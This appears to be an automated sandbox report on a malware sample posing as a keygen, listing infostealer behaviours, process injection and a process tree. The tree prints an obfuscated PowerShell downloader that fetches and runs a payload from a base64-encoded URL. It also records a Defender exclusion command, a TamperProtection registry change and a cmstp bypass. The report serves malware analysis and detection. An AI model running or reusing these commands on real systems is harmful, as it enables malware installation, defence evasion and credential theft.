cmd.exepowershell.exepowershell.exepowershell.exedsx.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exemnd.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeWScript.exehgfnmbasdo.exeFVjhgtresfdbv.exeFVjhgtresfdbv.exeWScript.exehgfnmbasdo.exedsx.exeaxcsdfa.exepid process 1624 cmd.exe 1144 powershell.exe 1684 powershell.exe 1684 powershell.exe 1048 powershell.exe 1048 powershell.exe 2580 dsx.exe 2580 dsx.exe 2580 dsx.exe 2580 dsx.exe 2664 NHtrdsaghfDF.exe 2644 FVjhgtresfdbv.exe 2556 mnd.exe 2556 mnd.exe 2556 mnd.exe 2556 mnd.exe 3008 FVjhgtresfdbv.exe 3052 NHtrdsaghfDF.exe 2312 WScript.exe 1840 hgfnmbasdo.exe 1548 FVjhgtresfdbv.exe 2888 FVjhgtresfdbv.exe 1548 FVjhgtresfdbv.exe 2888 FVjhgtresfdbv.exe 1548 FVjhgtresfdbv.exe 2888 FVjhgtresfdbv.exe 2888 FVjhgtresfdbv.exe 1548 FVjhgtresfdbv.exe 1548 FVjhgtresfdbv.exe 2888 FVjhgtresfdbv.exe 2900 WScript.exe 2204 hgfnmbasdo.exe 2204 hgfnmbasdo.exe 2736 dsx.exe 2736 dsx.exe 2736 dsx.exe 2736 dsx.exe 2736 dsx.exe 2736 dsx.exe 2736 dsx.exe 2736 dsx.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2736 dsx.exe 2736 dsx.exe 2736 dsx.exe 2736 dsx.exe 2736 dsx.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
MwCRYcSQQJ.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features MwCRYcSQQJ.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" MwCRYcSQQJ.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops desktop.ini file(s) 1 IoCs
Processes:
dsx.exedescription ioc process File created C:\Users\Admin\AppData\LocalLow\cr6im03b56g32r\desktop.ini dsx.exe -
Suspicious use of SetThreadContext 9 IoCs
Processes:
dsx.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exemnd.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exelbe.exehgfnmbasdo.exeaxcsdfa.exedescription pid process target process PID 2580 set thread context of 2736 2580 dsx.exe dsx.exe PID 2664 set thread context of 2764 2664 NHtrdsaghfDF.exe NHtrdsaghfDF.exe PID 2644 set thread context of 2888 2644 FVjhgtresfdbv.exe FVjhgtresfdbv.exe PID 2556 set thread context of 1956 2556 mnd.exe mnd.exe PID 3008 set thread context of 1548 3008 FVjhgtresfdbv.exe FVjhgtresfdbv.exe PID 3052 set thread context of 2216 3052 NHtrdsaghfDF.exe NHtrdsaghfDF.exe PID 2480 set thread context of 2388 2480 lbe.exe lbe.exe PID 1840 set thread context of 2204 1840 hgfnmbasdo.exe hgfnmbasdo.exe PID 2268 set thread context of 1928 2268 axcsdfa.exe axcsdfa.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
FVjhgtresfdbv.exeFVjhgtresfdbv.exehgfnmbasdo.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString FVjhgtresfdbv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString hgfnmbasdo.exe -
Delays execution with timeout.exe 3 IoCs
Processes:
timeout.exetimeout.exetimeout.exepid process 1916 timeout.exe 1120 timeout.exe 2148 timeout.exe -
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 924 taskkill.exe 2180 taskkill.exe 1684 taskkill.exe -
Processes:
mshta.exemshta.exemshta.exemshta.exemshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Processes:
qRiS9oymEz.exedsx.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 qRiS9oymEz.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e qRiS9oymEz.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e qRiS9oymEz.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 dsx.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 dsx.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeaxcsdfa.exeK1DvxMMSSH.exepid process 1144 powershell.exe 1684 powershell.exe 1512 powershell.exe 1048 powershell.exe 1928 powershell.exe 1376 powershell.exe 1684 powershell.exe 1376 powershell.exe 1048 powershell.exe 1928 powershell.exe 1512 powershell.exe 1144 powershell.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 2268 axcsdfa.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
dsx.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exemnd.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exepid process 2580 dsx.exe 2664 NHtrdsaghfDF.exe 2644 FVjhgtresfdbv.exe 2556 mnd.exe 3008 FVjhgtresfdbv.exe 3052 NHtrdsaghfDF.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exelbe.exehgfnmbasdo.exetaskkill.exetaskkill.exetaskkill.exeaxcsdfa.exeK1DvxMMSSH.exeMwCRYcSQQJ.exepowershell.exezyljhH9KiS.exePowershell.exedescription pid process Token: SeDebugPrivilege 1684 powershell.exe Token: SeDebugPrivilege 1512 powershell.exe Token: SeDebugPrivilege 1928 powershell.exe Token: SeDebugPrivilege 1048 powershell.exe Token: SeDebugPrivilege 1144 powershell.exe Token: SeDebugPrivilege 1376 powershell.exe Token: SeDebugPrivilege 2480 lbe.exe Token: SeDebugPrivilege 1840 hgfnmbasdo.exe Token: SeDebugPrivilege 2180 taskkill.exe Token: SeDebugPrivilege 924 taskkill.exe Token: SeDebugPrivilege 1684 taskkill.exe Token: SeDebugPrivilege 2268 axcsdfa.exe Token: SeDebugPrivilege 1932 K1DvxMMSSH.exe Token: SeDebugPrivilege 2960 MwCRYcSQQJ.exe Token: SeDebugPrivilege 2848 powershell.exe Token: SeDebugPrivilege 2564 zyljhH9KiS.exe Token: SeDebugPrivilege 1576 Powershell.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
Processes:
Keygen.exedsx.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exemnd.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeK1DvxMMSSH.exepid process 240 Keygen.exe 2580 dsx.exe 2664 NHtrdsaghfDF.exe 2644 FVjhgtresfdbv.exe 2556 mnd.exe 3008 FVjhgtresfdbv.exe 3052 NHtrdsaghfDF.exe 1932 K1DvxMMSSH.exe 1932 K1DvxMMSSH.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Keygen — копия (59) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exedescription pid process target process PID 1068 wrote to memory of 1624 1068 Keygen — копия (59) — копия.exe cmd.exe PID 1068 wrote to memory of 1624 1068 Keygen — копия (59) — копия.exe cmd.exe PID 1068 wrote to memory of 1624 1068 Keygen — копия (59) — копия.exe cmd.exe PID 1068 wrote to memory of 1624 1068 Keygen — копия (59) — копия.exe cmd.exe PID 1624 wrote to memory of 240 1624 cmd.exe Keygen.exe PID 1624 wrote to memory of 240 1624 cmd.exe Keygen.exe PID 1624 wrote to memory of 240 1624 cmd.exe Keygen.exe PID 1624 wrote to memory of 240 1624 cmd.exe Keygen.exe PID 1624 wrote to memory of 1856 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1856 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1856 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1856 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1924 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1924 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1924 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1924 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1916 1624 cmd.exe timeout.exe PID 1624 wrote to memory of 1916 1624 cmd.exe timeout.exe PID 1624 wrote to memory of 1916 1624 cmd.exe timeout.exe PID 1624 wrote to memory of 1916 1624 cmd.exe timeout.exe PID 1624 wrote to memory of 1972 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1972 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1972 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1972 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 568 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 568 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 568 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 568 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1120 1624 cmd.exe timeout.exe PID 1624 wrote to memory of 1120 1624 cmd.exe timeout.exe PID 1624 wrote to memory of 1120 1624 cmd.exe timeout.exe PID 1624 wrote to memory of 1120 1624 cmd.exe timeout.exe PID 1624 wrote to memory of 928 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 928 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 928 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 928 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1400 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1400 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1400 1624 cmd.exe mshta.exe PID 1624 wrote to memory of 1400 1624 cmd.exe mshta.exe PID 928 wrote to memory of 1684 928 mshta.exe powershell.exe PID 928 wrote to memory of 1684 928 mshta.exe powershell.exe PID 928 wrote to memory of 1684 928 mshta.exe powershell.exe PID 928 wrote to memory of 1684 928 mshta.exe powershell.exe PID 1972 wrote to memory of 1144 1972 mshta.exe powershell.exe PID 1972 wrote to memory of 1144 1972 mshta.exe powershell.exe PID 1972 wrote to memory of 1144 1972 mshta.exe powershell.exe PID 1972 wrote to memory of 1144 1972 mshta.exe powershell.exe PID 1856 wrote to memory of 1048 1856 mshta.exe powershell.exe PID 1856 wrote to memory of 1048 1856 mshta.exe powershell.exe PID 1856 wrote to memory of 1048 1856 mshta.exe powershell.exe PID 1856 wrote to memory of 1048 1856 mshta.exe powershell.exe PID 1924 wrote to memory of 1928 1924 mshta.exe powershell.exe PID 1924 wrote to memory of 1928 1924 mshta.exe powershell.exe PID 1924 wrote to memory of 1928 1924 mshta.exe powershell.exe PID 1924 wrote to memory of 1928 1924 mshta.exe powershell.exe PID 1400 wrote to memory of 1376 1400 mshta.exe powershell.exe PID 1400 wrote to memory of 1376 1400 mshta.exe powershell.exe PID 1400 wrote to memory of 1376 1400 mshta.exe powershell.exe PID 1400 wrote to memory of 1376 1400 mshta.exe powershell.exe PID 568 wrote to memory of 1512 568 mshta.exe powershell.exe PID 568 wrote to memory of 1512 568 mshta.exe powershell.exe PID 568 wrote to memory of 1512 568 mshta.exe powershell.exe PID 568 wrote to memory of 1512 568 mshta.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (59) — копия.exe"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (59) — копия.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1068 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\F48C.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (59) — ?????.exe""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1624 -
C:\Users\Admin\AppData\Local\Temp\F48C.tmp\Keygen.exeKeygen.exe3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:240 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\F48C.tmp\m.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1048 -
C:\Users\Public\dsx.exe"C:\Users\Public\dsx.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2580 -
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2644 -
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:2888 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 2888 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\789434402640237\\* & exit8⤵PID:1412
-
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 28889⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2180 -
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2664 -
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"7⤵
- Executes dropped EXE
PID:2764 -
C:\Users\Public\dsx.exe"C:\Users\Public\dsx.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
- Modifies system certificate store
PID:2736 -
C:\Users\Admin\AppData\Local\Temp\zyljhH9KiS.exe"C:\Users\Admin\AppData\Local\Temp\zyljhH9KiS.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2564 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe"Powershell" Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Local\Temp\zyljhH9KiS.exe"'8⤵
- Suspicious use of AdjustPrivilegeToken
PID:1576 -
C:\Users\Admin\AppData\Local\Temp\qRiS9oymEz.exe"C:\Users\Admin\AppData\Local\Temp\qRiS9oymEz.exe"7⤵
- Executes dropped EXE
- Modifies system certificate store
PID:1944 -
C:\Windows\SysWOW64\Notepad.exe"C:\Windows\System32\Notepad.exe"8⤵PID:1668
-
C:\Users\Admin\AppData\Local\Temp\K1DvxMMSSH.exe"C:\Users\Admin\AppData\Local\Temp\K1DvxMMSSH.exe"7⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1932 -
\??\c:\windows\SysWOW64\cmstp.exe"c:\windows\system32\cmstp.exe" /au C:\Windows\temp\xpk2njuc.inf8⤵PID:2276
-
C:\Users\Admin\AppData\Local\Temp\MwCRYcSQQJ.exe"C:\Users\Admin\AppData\Local\Temp\MwCRYcSQQJ.exe"7⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:2960 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose8⤵
- Suspicious use of AdjustPrivilegeToken
PID:2848 -
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Public\dsx.exe"7⤵PID:2800
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK8⤵
- Delays execution with timeout.exe
PID:2148 -
